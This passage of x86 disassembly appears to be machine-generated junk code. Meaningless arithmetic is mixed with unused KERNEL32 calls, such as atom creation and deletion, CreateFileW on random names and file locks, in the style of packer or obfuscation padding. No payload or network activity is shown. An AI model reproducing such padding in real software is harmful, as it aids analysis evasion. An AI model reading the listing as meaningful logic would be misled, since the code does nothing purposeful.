push str.LtTsGewtfFkdiim_rVSjMMUS
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4cb0], eax
push 2
push 0x100b9810
mov ecx, dword [ebp - 0x98d8]
push ecx
mov edx, dword [ebp - 0x98dc]
push edx
mov eax, dword [ebp - 0x3460]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb5e8], eax
movzx ecx, word [0x100b9bbc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1284], ax
lea edx, [ebp - 0x43]
mov dword [ebp - 0x4cb4], edx
mov eax, dword [ebp - 0x4444]
movzx ecx, word [eax]
movzx edx, word [0x100bae84]
xor ecx, edx
mov eax, dword [ebp - 0x3c44]
mov word [eax], cx
lea ecx, [ebp - 0x5c0]
mov dword [0x100bb5ec], ecx
movzx edx, byte [0x100b71af]
mov eax, dword [ebp - 0x36f4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x95], dl
mov dword [ebp - 0x4cb8], 0x100bb11c
mov edx, dword [ebp - 0x423c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x39a0]
movzx edx, word [ecx]
sub eax, edx
mov word [0x100bae30], ax
push 0
push 4
push 1
push 0
push 8
push 0x40000000
push str.zRjZ4KIYTdF9htepI
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4cbc], eax
mov eax, dword [ebp - 0x4bb8]
mov ecx, dword [ebp - 0x346c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x2fec], edx
mov eax, dword [ebp - 0x4214]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x181]
shl edx, cl
mov eax, dword [ebp - 0x42b4]
mov byte [eax], dl
lea ecx, [ebp - 0x56c]
mov dword [0x100bb5f0], ecx
lea edx, [ebp - 0x2cf]
mov dword [ebp - 0x4cc0], edx
mov eax, dword [ebp - 0x450c]
mov edx, dword [ebp - 0x4c58]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x4bf8], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb260], eax
movsx eax, byte [ebp - 0x80]
movsx ecx, byte [ebp - 0x78]
and eax, ecx
mov edx, dword [0x100b9f78]
mov byte [edx], al
mov dword [ebp - 0x4cc4], 0x100babd8
mov eax, dword [ebp - 0x35d0]
movzx ecx, word [eax]
mov edx, dword [0x100b9ab8]
movzx eax, word [edx]
imul ecx, eax
mov edx, dword [ebp - 0x36c8]
mov word [edx], cx
mov eax, dword [ebp - 0x4084]
xor eax, dword [0x100b9540]
mov ecx, dword [0x100ba3b8]
mov dword [ecx], eax
push 0
push 0x1373
push 0x1cc8
push 0x5e93
push 2
mov edx, dword [ebp - 0x3718]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100bb5f4], eax
movsx eax, word [ebp - 0x730]
movsx ecx, word [ebp - 0x5b8]
add eax, ecx
mov edx, dword [ebp - 0x4150]
mov word [edx], ax
lea eax, [ebp - 0x2f8]
mov dword [ebp - 0x4cc8], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4ccc], eax
lea ecx, [ebp - 0x3a7c]
mov dword [0x100bb5f8], ecx
mov dword [ebp - 0x4cd0], 0x100b7e23
movzx edx, word [ebp - 0x1184]
movzx eax, word [ebp - 0x1624]
and edx, eax
mov ecx, dword [ebp - 0x3dac]
mov word [ecx], dx
movzx edx, word [ebp - 0x1244]
movzx ecx, word [ebp - 0x139c]
sar edx, cl
mov eax, dword [0x100bab0c]
mov word [eax], dx
movsx edx, byte [ebp - 0x2c7]
mov eax, dword [ebp - 0x3bb8]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x272], dl
lea ecx, [ebp - 0x3134]
mov dword [0x100bb5fc], ecx
mov edx, dword [0x100baf70]
mov ax, word [edx]
mov word [ebp - 0x1768], ax
lea ecx, [ebp - 0xf3]
mov dword [ebp - 0x4cd4], ecx
mov edx, dword [0x100bb244]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x37cc]
mov dword [0x100bb600], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb604], eax
mov ecx, dword [ebp - 0x3868]
movzx edx, word [ecx]
mov eax, dword [0x100ba540]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0xfd4], dx
mov edx, dword [0x100bb570]
mov eax, dword [ebp - 0x2c58]
add eax, dword [edx]
mov dword [ebp - 0x37cc], eax
mov ecx, dword [ebp - 0x3960]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xa9c]
and edx, eax
mov word [0x100b729c], dx
mov dword [ebp - 0x4cd8], 0x100b72d4
push 0
push 0x3911
push 0x173
push 0x48fd
push 2
mov ecx, dword [ebp - 0x40e0]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba63c], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4cdc], eax
movzx edx, byte [ebp - 0x28d]
mov eax, dword [ebp - 0x4518]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0xfb], dl
movsx ecx, byte [0x100b721b]
movsx edx, byte [ebp - 0x12c]
xor ecx, edx
mov byte [0x100b72da], cl
push str.GIiIY
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x176c], ax
movsx eax, byte [0x100b7e0e]
movsx ecx, byte [0x100b725a]
sub eax, ecx
mov byte [ebp - 0x278], al
mov edx, dword [ebp - 0x498c]
mov eax, dword [ebp - 0x2afc]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x4464]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb608], eax
mov edx, dword [0x100bb29c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2dc]
or eax, ecx
mov byte [0x100b8343], al
mov edx, dword [0x100b9990]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1730]
add eax, ecx
mov word [ebp - 0x1058], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x36fc], eax
push 0x100bb60c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x1748]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100baa60], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4ce0], eax
movzx eax, word [ebp - 0x510]
movzx ecx, word [0x100bb5b4]
and eax, ecx
mov word [ebp - 0x162c], ax
mov edx, dword [ebp - 0x2ef4]
mov dword [0x100bb630], edx
lea eax, [ebp - 0x13]
mov dword [ebp - 0x4ce4], eax
mov ecx, dword [ebp - 0x355c]
mov edx, dword [ebp - 0x2f10]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x3a7c], edx
movzx eax, byte [ebp - 0x2f2]
movzx ecx, byte [0x100b8266]
xor eax, ecx
mov byte [0x100b7187], al
mov edx, dword [ebp - 0x4430]
mov ax, word [edx]
mov word [ebp - 0x1770], ax
lea ecx, [ebp - 0x1400]
mov dword [ebp - 0x4ce8], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb474], eax
push str.NcVgT_u_GEo7X
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb634], ax
mov dword [0x100bb638], 0x100b7256
movzx edx, word [ebp - 0x128c]
mov eax, dword [ebp - 0x35fc]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x7ac], dx
mov edx, dword [ebp - 0x3f50]
mov eax, dword [edx]
mov dword [ebp - 0x4cec], eax
mov edx, dword [ebp - 0x2ad0]
mov ecx, dword [ebp - 0x4118]
shl edx, cl
mov eax, dword [0x100b9f28]
mov dword [eax], edx
movzx ecx, byte [0x100b71ea]
movzx edx, byte [0x100b729e]
add ecx, edx
mov byte [ebp - 0x140], cl
mov eax, dword [ebp - 0x3698]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3e88]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x35bc]
mov word [edx], cx
mov al, byte [ebp - 0xb5]
mov byte [0x100b8403], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4cf0], eax
lea ecx, [ebp - 0x166c]
mov dword [ebp - 0x4cf4], ecx
push 0x1010
push 0x250b
push 0x27a2
push 0x1195
mov edx, dword [0x100ba44c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x41c0], eax
mov eax, dword [ebp - 0x467c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x47a0]
mov dword [ebp - 0x2c58], ecx
mov edx, dword [ebp - 0x45c0]
mov eax, dword [ebp - 0x3064]
xor eax, dword [edx]
mov dword [0x100bae4c], eax
mov ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x140]
sar edx, cl
mov byte [ebp - 0xa1], dl
lea eax, [ebp - 0x23e]
mov dword [ebp - 0x4cf8], eax
mov ecx, dword [ebp - 0x3c70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1760]
add edx, eax
mov word [0x100b95ec], dx
mov ecx, dword [0x100b9ba8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x44a0]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x1178], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4cfc], eax
mov edx, dword [ebp - 0x40c4]
mov dword [ebp - 0x4d00], edx
lea eax, [ebp - 0x2ab]
mov dword [0x100bb63c], eax
movzx ecx, byte [0x100b7df7]
mov edx, dword [ebp - 0x45cc]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x1d6], cl
mov ecx, dword [ebp - 0x3db8]
mov edx, dword [ebp - 0x4398]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x326c], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb640], eax
mov ecx, dword [0x100b9544]
movzx edx, word [ecx]
imul eax, edx, 0x681
mov word [0x100b73a8], ax
lea ecx, [ebp - 0x16c8]
mov dword [ebp - 0x4d04], ecx
mov edx, dword [ebp - 0x3790]
xor edx, dword [ebp - 0x2c6c]
mov dword [ebp - 0x2bcc], edx
mov eax, dword [ebp - 0x403c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x34d0]
movsx eax, byte [edx]
or ecx, eax
mov byte [0x100b72db], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba5c8], eax
mov ecx, dword [0x100ba6f0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x36f4]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x277], dl
mov ecx, dword [ebp - 0x3dec]
movzx edx, word [ecx]
mov eax, dword [0x100ba6e4]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x3808]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x40cc], eax
mov ecx, dword [ebp - 0x495c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3eb8]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [0x100ba018]
mov word [eax], dx
lea ecx, [ebp - 0x4844]
mov dword [ebp - 0x4d08], ecx
push str.tKlq5_x0yjV
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15c4], ax
movsx edx, word [ebp - 0xed0]
mov eax, dword [ebp - 0x4b44]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1318], dx
mov ecx, dword [ebp - 0x4754]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3768]
mov dword [0x100b744c], edx
mov dword [ebp - 0x4d0c], 0x100b722a
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb644], eax
push str.cFXMh
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1774], ax
mov eax, dword [0x100bab08]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [ebp - 0x1428]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb648], ax
mov edx, dword [ebp - 0x3b48]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4854]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x100b72c7], al
push 0x12b3
push 0
push 0x100ba9e4
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4d10], eax
mov eax, dword [ebp - 0x3540]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x11cc]
sar edx, cl
mov eax, dword [ebp - 0x3dc0]
mov word [eax], dx
mov dword [ebp - 0x4d14], 0x100bb1dc
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb64c], eax
mov ecx, dword [0x100b72d4]
mov dword [0x100bb650], ecx
mov edx, dword [ebp - 0x4280]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x138c]
or eax, ecx
mov word [ebp - 0x12cc], ax
lea edx, [ebp - 0x15e]
mov dword [ebp - 0x4d18], edx
mov eax, dword [ebp - 0x45d8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3e60]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x100b72de], cl
lea ecx, [ebp - 0x9f40]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea edx, [ebp - 0x1be]
mov dword [ebp - 0x4d1c], edx
push 0x100a89c8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb654], ax
mov eax, dword [0x100bb088]
mov ecx, dword [ebp - 0x3494]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [ebp - 0x2e9c], edx
movzx eax, word [ebp - 0x10c0]
mov ecx, dword [ebp - 0x3c24]
movzx edx, word [ecx]
sub eax, edx
mov word [0x100b94f8], ax
movsx eax, word [0x100b72e0]
movsx ecx, word [ebp - 0x1054]
shl eax, cl
mov word [ebp - 0xb80], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4d20], eax
mov ecx, dword [ebp - 0x4674]
mov edx, dword [ebp - 0x47bc]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3fe4]
mov dword [ecx], eax
push 1
lea edx, [ebp - 0x981c]
push edx
mov eax, dword [0x100bb5e4]
push eax
mov ecx, dword [0x100bb5e0]
push ecx
mov edx, dword [ebp - 0x4b10]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100baa14], eax
lea eax, [ebp - 0x21]
mov dword [0x100bb658], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4d24], eax
push 0
push 0x80
push 5
push 0
push 2
push 0x80000000
push str.4eaBCyD4aDC6af
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb65c], eax
mov cl, byte [ebp - 0x1ce]
mov byte [ebp - 0x301], cl
mov edx, dword [0x100bb344]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x37d8], eax
push str.3qNZx_183v
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1778], ax
mov eax, dword [0x100ba764]
mov ecx, dword [0x100babe8]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x3fb4], edx
movzx eax, word [ebp - 0x9e4]
movzx ecx, word [ebp - 0x12a8]
and eax, ecx
mov word [0x100b9e60], ax
movsx edx, word [ebp - 0x12cc]
movsx eax, word [0x100b7240]
or edx, eax
mov ecx, dword [ebp - 0x4324]
mov word [ecx], dx
lea edx, [ebp - 0x59c]
mov dword [ebp - 0x4d28], edx
lea eax, [ebp - 0x2e5]
mov dword [0x100bb660], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb664], eax
mov ecx, dword [0x100bb0f4]
mov edx, dword [ebp - 0x4190]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x4ca8]
mov dword [ecx], eax
push 0
push 0x400
push 4
push 0
push 4
push 0x40000000
push str.qfMAaybqW4EK
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb668], eax
lea edx, [ebp - 0x2bd8]
mov dword [ebp - 0x4d2c], edx
mov eax, dword [ebp - 0x44ac]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7256]
add ecx, edx
mov byte [0x100b71eb], cl
movzx eax, word [0x100b72dc]
mov ecx, dword [ebp - 0x4b24]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x41bc]
mov word [edx], ax
lea eax, [ebp - 0x11e0]
mov dword [ebp - 0x4d30], eax
mov ecx, dword [ebp - 0x4174]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4d34], eax
mov dword [0x100bb66c], 0x100b721e
mov edx, dword [0x100bb568]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1b0]
and eax, ecx
mov byte [ebp - 0x29e], al
mov edx, dword [ebp - 0x389c]
mov eax, dword [edx]
mov dword [ebp - 0x4d38], eax
mov ecx, dword [ebp - 0x40f8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2fd8]
sar edx, cl
mov dword [0x100b7370], edx
push 0x1bb9
push 0
push 0x100ba818
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4d3c], eax
mov eax, dword [0x100b959c]
movsx ecx, byte [eax]
imul edx, ecx, 0x19
mov eax, dword [ebp - 0x4cb4]
mov byte [eax], dl
movzx ecx, word [ebp - 0x1664]
mov edx, dword [ebp - 0x4a0c]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xdf4], cx
mov dword [0x100bb670], 0x100b7254
push str.ZAvk_epCqbJLUG4uzD_R1
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb674], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4310], eax
mov ecx, dword [0x100b9bc4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x37c4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x217], dl
mov edx, dword [ebp - 0x3800]
mov eax, dword [ebp - 0x3f60]
or eax, dword [edx]
mov dword [ebp - 0x317c], eax
push str.NccJd_76Vs6eo_TPVb
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb5dc], ax
push 0
push 8
push 5
push 0
push 4
push 0xc0000000
push str.qFfsDukOAFMzF4yA9WgE4ZmP0F6WbqnAbHjmf
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4d40], eax
mov ecx, dword [ebp - 0x3b60]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1158]
and edx, eax
mov word [0x100bae30], dx
lea ecx, [ebp - 0x3654]
mov dword [ebp - 0x4d44], ecx
push 1
lea edx, [ebp - 0x989c]
push edx
mov eax, dword [ebp - 0x98c8]
push eax
mov ecx, dword [ebp - 0x98cc]
push ecx
mov edx, dword [0x100b9d70]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb678], eax
movsx eax, byte [ebp - 0x298]
movsx ecx, byte [ebp - 0x2ab]
imul eax, ecx
mov edx, dword [ebp - 0x3be0]
mov byte [edx], al
lea eax, [ebp - 0x4b8]
mov dword [0x100bb67c], eax
mov ecx, dword [0x100b9904]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4cc0]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x1fd], dl
lea edx, [ebp - 0x3ee8]
mov dword [ebp - 0x4d48], edx
movsx eax, byte [ebp - 0x1ab]
mov ecx, dword [ebp - 0x499c]
movsx ecx, byte [ecx]
shl eax, cl
mov edx, dword [0x100ba48c]
mov byte [edx], al
lea eax, [ebp - 0x1710]
mov dword [ebp - 0x4d4c], eax
mov ecx, dword [ebp - 0x3dc0]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x14d4]
sar edx, cl
mov word [ebp - 0x6d0], dx
mov dword [0x100bb680], 0x100bad70
mov eax, dword [ebp - 0x35ac]
mov cx, word [eax]
mov word [ebp - 0x177c], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba710], eax
movzx edx, word [ebp - 0x1748]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb684], ax
movzx eax, byte [0x100b7167]
mov ecx, dword [ebp - 0x3940]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x41a8]
mov byte [ecx], al
mov edx, dword [ebp - 0x48f8]
mov eax, dword [edx]
and eax, dword [0x100ba14c]
mov ecx, dword [0x100b9584]
mov dword [ecx], eax
lea edx, [ebp - 0x2df]
mov dword [ebp - 0x4d50], edx
mov eax, dword [ebp - 0x3dc0]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3648]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x12a8], cx
push 0x11b1
push 0x587
push 0x938
push 0x35b3
mov ecx, dword [0x100bad6c]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x4d54], eax
mov edx, dword [ebp - 0x49a4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3ac8]
movzx edx, word [ecx]
or eax, edx
mov word [0x100b71d4], ax
mov eax, dword [ebp - 0x44ac]
mov cl, byte [eax]
mov byte [ebp - 0x302], cl
lea edx, [ebp - 0x2ac0]
mov dword [0x100bb688], edx
push str.VmMvS_5cSW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12bc], ax
movsx eax, word [0x100b9fe8]
movsx ecx, word [ebp - 0x1754]
shl eax, cl
mov ecx, dword [ebp - 0x3b8c]
mov word [ecx], ax
movzx edx, byte [0x100b7efb]
movzx ecx, byte [ebp - 0x15c]
sar edx, cl
mov eax, dword [ebp - 0x4528]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4754]
mov edx, dword [ecx]
mov dword [0x100bb68c], edx
movzx eax, word [ebp - 0xe94]
mov ecx, dword [ebp - 0x48d0]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x5b0], ax
push 0
push 8
push 5
push 0
push 2
push 0x80000000
push str.QSUBVEGziXqm2cE
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb690], eax
lea eax, [ebp - 0x3748]
mov dword [ebp - 0x4d58], eax
mov ecx, dword [ebp - 0x4870]
movsx edx, word [ecx]
movsx eax, word [0x100bab04]
and edx, eax
mov ecx, dword [0x100ba61c]
mov word [ecx], dx
mov edx, dword [ebp - 0x4630]
mov eax, dword [ebp - 0x2da4]
imul eax, dword [edx]
mov dword [ebp - 0x3968], eax
movzx ecx, byte [ebp - 0x130]
mov edx, dword [ebp - 0x4848]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x1d1], cl
mov ecx, dword [ebp - 0x371c]
mov dl, byte [ecx]
mov byte [0x100b8486], dl
mov eax, dword [ebp - 0x35f4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x178]
xor ecx, edx
mov byte [ebp - 0x267], cl
mov dword [ebp - 0x4d5c], 0x100ba23c
mov eax, dword [ebp - 0x3ba8]
movzx ecx, byte [eax]
mov edx, dword [0x100b9808]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100baf78]
mov byte [edx], cl
movsx eax, word [ebp - 0x730]
movsx ecx, word [0x100b7330]
add eax, ecx
mov edx, dword [ebp - 0x48cc]
mov word [edx], ax
lea eax, [ebp - 0x834]
mov dword [ebp - 0x4d60], eax
push 0
push 0x20
push 2
push 0
push 1
push 0x80000000
push str.j6MOAzUpclTiabqG4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb694], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4d64], eax
push str.Ikmg0D6_RPx41VQ_0tsux
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb47c], ax
mov ecx, dword [ebp - 0x4a90]
mov edx, dword [0x100baae0]
sub edx, dword [ecx]
mov eax, dword [0x100ba3b8]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x237]
mov edx, dword [ebp - 0x4b6c]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x2ed], cl
mov ecx, dword [ebp - 0x2de0]
mov dword [ebp - 0x4d68], ecx
mov edx, dword [ebp - 0x42d4]
movzx eax, byte [edx]
movzx ecx, byte [0x100b728f]
shl eax, cl
mov byte [0x100b72df], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4d6c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb698], eax
movzx ecx, word [ebp - 0x16c0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bada4], ax
movzx edx, word [ebp - 0x82c]
mov eax, dword [ebp - 0x3d68]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1150], dx
mov ecx, dword [ebp - 0x47f0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x728]
and edx, eax
mov ecx, dword [ebp - 0x3cd0]
mov word [ecx], dx
movsx edx, byte [0x100b837a]
movsx eax, byte [ebp - 0x236]
xor edx, eax
mov ecx, dword [0x100babc4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x36f0]
mov ax, word [edx]
mov word [ebp - 0x1780], ax
mov ecx, dword [ebp - 0x4100]
mov edx, dword [0x100b7274]
add edx, dword [ecx]
mov dword [ebp - 0x2ecc], edx
push 0
push 4
push 2
push 0
push 4
push 0x40000000
push str.zbgL8dNXxmMurKKsC
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4d70], eax
movzx eax, word [0x100bada0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15b8], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4d74], eax
lea ecx, [ebp - 0x2bd8]
mov dword [0x100bb69c], ecx
movzx edx, byte [ebp - 0x2d9]
mov eax, dword [ebp - 0x3bb0]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x4718]
mov byte [eax], dl
movsx edx, word [0x100b96b4]
mov eax, dword [0x100bb3a0]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x37f8]
mov word [ecx], dx
push str.4Wr5s
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb6a0], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9a14], eax
movzx edx, word [ebp - 0x157c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb6a4], ax
lea eax, [ebp - 0x2ae]
mov dword [0x100bb6a8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4d78], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b96e8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3cac], eax
movzx edx, word [0x100b73dc]
movzx ecx, word [ebp - 0x1184]
shl edx, cl
mov word [ebp - 0xb28], dx
lea eax, [ebp - 0x9ce8]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x4b38]
mov edx, dword [ebp - 0x3858]
or edx, dword [ecx]
mov dword [ebp - 0x2af8], edx
mov eax, dword [ebp - 0x42b0]
mov ecx, dword [ebp - 0x3270]
xor ecx, dword [eax]
mov dword [0x100ba26c], ecx
mov dl, byte [ebp - 0x2ac]
mov byte [ebp - 0x303], dl
push 0
push 4
push 3
push 0
push 2
push 0x40000000
push str.fEAYi_sHOLVskXwZj3P
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb6ac], eax
mov dword [ebp - 0x4d7c], 0x100b80ee
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4d80], eax
mov eax, dword [ebp - 0x4078]
movsx eax, word [eax]
mov ecx, dword [ebp - 0x4388]
movsx ecx, word [ecx]
cdq
idiv ecx
mov word [0x100b7450], ax
movzx edx, word [ebp - 0xf0c]
mov eax, dword [0x100ba7bc]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x43ec]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba518], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4d84], eax
push str.DZkBzO_CshI2C_Hdwl_KxoVI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb6b0], ax
mov ecx, dword [0x100baf80]
mov edx, dword [ebp - 0x33b4]
and edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
movsx eax, byte [ebp - 0x2b3]
movsx ecx, byte [ebp - 0x2b9]
sar eax, cl
mov ecx, dword [0x100bb5a0]
mov byte [ecx], al
